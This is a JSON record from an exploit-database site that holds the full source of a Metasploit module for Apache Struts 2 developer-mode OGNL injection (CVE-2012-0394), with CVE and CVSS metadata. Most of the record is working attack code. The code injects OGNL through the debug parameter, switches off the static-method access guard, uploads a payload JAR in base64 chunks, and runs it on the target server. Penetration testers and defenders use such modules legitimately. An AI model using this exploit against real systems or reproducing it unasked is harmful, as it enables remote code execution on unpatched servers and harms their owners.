{"exploit":{"id":"MSF-multi--http--struts_dev_mode","name":"Apache Struts 2 Developer Mode OGNL Execution","description":"This module exploits a remote command execution vulnerability in Apache Struts 2. The problem exists on applications running in developer mode, where the DebuggingInterceptor allows evaluation and execution of OGNL expressions, which allows remote attackers to execute arbitrary Java code. This module has been tested successfully on Struts 2.3.16, Tomcat 7 and Ubuntu 10.04.","cves":["CVE-2012-0394"],"author":"Johannes Dahse, Andreas Nusser, Alvaro, juan vazquez","published":"2012-01-06","platform":"Java","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/struts_dev_mode.rb","path":"modules/exploits/multi/http/struts_dev_mode.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"struts_dev_mode.rb","vulnerabilities":[{"id":"CVE-2012-0394","state":"PUBLISHED","title":null,"titleSource":null,"description":"The DebuggingInterceptor component in Apache Struts before 2.3.1.1, when developer mode is used, allows remote attackers to execute arbitrary commands via unspecified vectors. NOTE: the vendor characterizes this behavior as not \"a security vulnerability itself.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-0394","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-0394"},"updatedAt":"2024-08-06T18:23:30.986Z","retrievedAt":"2026-11-26T14:55:13.365Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--struts_dev_mode.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--struts_dev_mode","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--struts_dev_mode/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--struts_dev_mode/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::FileDropper\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache Struts 2 Developer Mode OGNL Execution',\n        'Description' => %q{\n          This module exploits a remote command execution vulnerability in Apache\n          Struts 2. The problem exists on applications running in developer mode,\n          where the DebuggingInterceptor allows evaluation and execution of OGNL\n          expressions, which allows remote attackers to execute arbitrary Java\n          code. This module has been tested successfully on Struts 2.3.16, Tomcat\n          7 and Ubuntu 10.04.\n        },\n        'Author' => [\n          'Johannes Dahse', # Vulnerability discovery and PoC\n          'Andreas Nusser', # Vulnerability discovery and PoC\n          'Alvaro',         # @pwntester, 2014's PoC, avoided surname because of the spanish char, sorry about that :\\\n          'juan vazquez'    # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2012-0394'],\n          [ 'OSVDB', '78276'],\n          [ 'EDB', '18329'],\n          [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt' ]\n        ],\n        'Platform' => 'java',\n        'Arch' => ARCH_JAVA,\n        'Targets' => [\n          [ 'Struts 2', {} ]\n        ],\n        'DisclosureDate' => '2012-01-06',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(8080),\n        OptString.new('TARGETURI', [ true, 'The path to a struts application action', \"/struts2-blank/example/HelloWorld.action\"])\n      ]\n    )\n  end\n\n  def check\n    vprint_status(\"Testing to see if the target can evaluate our Java code...\")\n    addend_one = rand_text_numeric(rand(3) + 1).to_i\n    addend_two = rand_text_numeric(rand(3) + 1).to_i\n    sum = addend_one + addend_two\n\n    res = execute_command(\"new java.lang.Integer(#{addend_one}+#{addend_two})\")\n\n    if res and res.code == 200 and res.body.to_i == sum\n      return Exploit::CheckCode::Vulnerable('Successfully executed the injected code')\n    end\n\n    if res and res.code == 200 and res.body.to_s =~ /#{sum}/\n      vprint_status(\"Code got evaluated. Target seems vulnerable, but the response contains something else:\")\n      vprint_line(res.body.to_s)\n      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')\n    end\n\n    return CheckCode::Safe('The target is not vulnerable')\n  end\n\n  def exploit\n    @payload_jar = rand_text_alphanumeric(4 + rand(4)) + \".jar\"\n\n    upload_jar\n    execute_jar\n  end\n\n  def upload_jar\n    append = 'false'\n    jar = payload.encoded_jar.pack\n    chunk_length = 384 # 512 bytes when base64 encoded\n\n    while (jar.length > chunk_length)\n      java_upload_part(jar[0, chunk_length], @payload_jar, append)\n      jar = jar[chunk_length, jar.length - chunk_length]\n      append = 'true'\n    end\n    java_upload_part(jar, @payload_jar, append)\n  end\n\n  def java_upload_part(part, filename, append = 'false')\n    cmd = \"#f=new java.io.FileOutputStream('#{filename}',#{append}),\"\n    cmd << \"#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),\"\n    cmd << \"#f.close()\"\n    execute_command(cmd)\n  end\n\n  def execute_jar\n    cmd = \"\"\n    # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1\n    cmd << \"#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),\"\n    cmd << \"#q.setAccessible(true),#q.set(null,true),\"\n    cmd << \"#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),\"\n    cmd << \"#q.setAccessible(true),#q.set(null,false),\"\n    # create classloader\n    cmd << \"#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_jar}').toURI().toURL()}),\"\n    # load class\n    cmd << \"#c=#cl.loadClass('metasploit.Payload'),\"\n    # invoke main method\n    cmd << \"#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(\"\n    cmd << \"null,new java.lang.Object[]{new java.lang.String[0]})\"\n    execute_command(cmd)\n  end\n\n  def execute_command(cmd)\n    injection = \"#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD\"\n    injection.gsub!(/CMD/, cmd)\n\n    vprint_status(\"Attempting to execute: #{cmd}\")\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path.to_s),\n      'method' => 'GET',\n      'vars_get' =>\n        {\n          'debug' => 'command',\n          'expression' => injection\n        }\n    })\n\n    return res\n  end\n\nend\n","sha256":"938bab29e6155aa5e30a7378d1873b8a488f3a6e8ef145b04aa7601ec6f2cd09","bytes":5124,"fetchedAt":"2026-11-26T14:55:08.620Z","encoding":"utf-8 (display only; download retains original bytes)"}